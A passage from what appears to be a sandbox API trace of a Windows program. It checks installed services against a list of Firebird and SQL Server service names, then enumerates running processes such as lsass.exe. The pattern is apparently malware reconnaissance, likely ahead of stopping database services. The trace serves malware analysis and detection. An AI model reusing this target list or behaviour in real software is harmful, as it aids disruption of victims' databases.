lpString2="BrokerInfrastructure") returned 1 [0296.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0296.283] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0296.283] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0296.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0296.283] lstrlenW (lpString="CDPSvc") returned 6 [0296.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0296.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0296.283] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0296.283] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0296.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0296.284] lstrlenW (lpString="ClickToRunSvc") returned 13 [0296.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0296.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0296.284] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0296.284] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0296.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0296.284] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0296.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0296.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0296.284] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0296.284] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0296.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0296.284] lstrlenW (lpString="CryptSvc") returned 8 [0296.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0296.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0296.284] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0296.284] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0296.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0296.284] lstrlenW (lpString="DcomLaunch") returned 10 [0296.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0296.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0296.284] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0296.284] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0296.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0296.284] lstrlenW (lpString="DeviceAssociationService") returned 24 [0296.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0296.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0296.285] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0296.285] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0296.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0296.285] lstrlenW (lpString="Dhcp") returned 4 [0296.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0296.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0296.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0296.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0296.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0296.285] lstrlenW (lpString="Dnscache") returned 8 [0296.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0296.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0296.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0296.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0296.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0296.285] lstrlenW (lpString="DoSvc") returned 5 [0296.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0296.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0296.285] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0296.285] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0296.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0296.286] lstrlenW (lpString="DPS") returned 3 [0296.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0296.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0296.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0296.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0296.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0296.286] lstrlenW (lpString="DusmSvc") returned 7 [0296.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0296.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0296.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0296.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0296.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0296.286] lstrlenW (lpString="EventLog") returned 8 [0296.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0296.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0296.286] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0296.286] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0296.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0296.286] lstrlenW (lpString="EventSystem") returned 11 [0296.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0296.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0296.287] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0296.287] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0296.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0296.287] lstrlenW (lpString="FontCache") returned 9 [0296.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0296.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0296.287] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0296.287] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0296.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0296.287] lstrlenW (lpString="gpsvc") returned 5 [0296.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0296.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0296.287] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0296.287] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0296.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0296.287] lstrlenW (lpString="iphlpsvc") returned 8 [0296.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0296.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0296.287] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0296.288] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0296.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0296.288] lstrlenW (lpString="KeyIso") returned 6 [0296.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0296.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0296.288] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0296.288] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0296.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0296.288] lstrlenW (lpString="LanmanServer") returned 12 [0296.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0296.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0296.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0296.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0296.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0296.288] lstrlenW (lpString="LanmanWorkstation") returned 17 [0296.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0296.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0296.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0296.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0296.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0296.462] lstrlenW (lpString="lfsvc") returned 5 [0296.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0296.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0296.462] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0296.462] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0296.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0296.463] lstrlenW (lpString="lmhosts") returned 7 [0296.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0296.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0296.463] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0296.463] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0296.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0296.463] lstrlenW (lpString="LSM") returned 3 [0296.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0296.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0296.463] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0296.463] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0296.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0296.463] lstrlenW (lpString="MpsSvc") returned 6 [0296.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0296.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0296.463] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0296.463] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0296.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0296.463] lstrlenW (lpString="NcbService") returned 10 [0296.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0296.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0296.463] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0296.463] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0296.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0296.463] lstrlenW (lpString="netprofm") returned 8 [0296.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0296.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0296.463] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0296.463] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0296.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0296.463] lstrlenW (lpString="NgcSvc") returned 6 [0296.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0296.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0296.464] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0296.464] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0296.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0296.464] lstrlenW (lpString="NlaSvc") returned 6 [0296.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0296.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0296.464] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0296.464] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0296.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0296.464] lstrlenW (lpString="nsi") returned 3 [0296.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0296.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0296.464] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0296.464] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0296.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0296.464] lstrlenW (lpString="PcaSvc") returned 6 [0296.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0296.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0296.464] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0296.464] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0296.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0296.464] lstrlenW (lpString="PlugPlay") returned 8 [0296.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0296.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0296.464] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0296.464] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0296.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0296.464] lstrlenW (lpString="Power") returned 5 [0296.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0296.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0296.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0296.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0296.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0296.465] lstrlenW (lpString="ProfSvc") returned 7 [0296.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0296.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0296.465] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0296.465] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0296.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0296.465] lstrlenW (lpString="RpcEptMapper") returned 12 [0296.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0296.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0296.465] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0296.465] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0296.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0296.465] lstrlenW (lpString="RpcSs") returned 5 [0296.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0296.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0296.465] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0296.465] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0296.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0296.465] lstrlenW (lpString="SamSs") returned 5 [0296.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0296.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0296.465] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0296.465] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0296.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0296.465] lstrlenW (lpString="Schedule") returned 8 [0296.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0296.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0296.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0296.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0296.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0296.465] lstrlenW (lpString="SecurityHealthService") returned 21 [0296.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0296.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0296.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0296.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0296.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0296.466] lstrlenW (lpString="SENS") returned 4 [0296.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0296.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0296.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0296.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0296.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0296.466] lstrlenW (lpString="ShellHWDetection") returned 16 [0296.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0296.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0296.466] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0296.466] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0296.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0296.466] lstrlenW (lpString="Spooler") returned 7 [0296.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0296.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0296.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0296.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0296.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0296.466] lstrlenW (lpString="SSDPSRV") returned 7 [0296.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0296.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0296.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0296.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0296.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0296.466] lstrlenW (lpString="StateRepository") returned 15 [0296.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0296.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0296.466] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0296.466] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0296.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0296.467] lstrlenW (lpString="SysMain") returned 7 [0296.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0296.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0296.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0296.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0296.467] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4570cd0 | out: hHeap=0x6e0000) returned 1 [0296.467] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c4 [0296.470] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.471] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0296.472] lstrlenW (lpString="System") returned 6 [0296.472] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0296.472] lstrlenW (lpString="smss.exe") returned 8 [0296.472] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0296.473] lstrlenW (lpString="csrss.exe") returned 9 [0296.473] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0296.474] lstrlenW (lpString="wininit.exe") returned 11 [0296.474] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0296.474] lstrlenW (lpString="csrss.exe") returned 9 [0296.474] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0296.475] lstrlenW (lpString="winlogon.exe") returned 12 [0296.475] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0296.476] lstrlenW (lpString="services.exe") returned 12 [0296.476] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0296.476] lstrlenW (lpString="lsass.exe") returned 9 [0296.476] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0296.477] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0296.477] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0296.478] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0296.478] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.478] lstrlenW (lpString="svchost.exe") returned 11 [0296.478] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.479] lstrlenW (lpString="svchost.exe") returned 11 [0296.479] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0296.480] lstrlenW (lpString="dwm.exe") returned 7 [0296.480] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.481] lstrlenW (lpString="svchost.exe") returned 11 [0296.481] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: 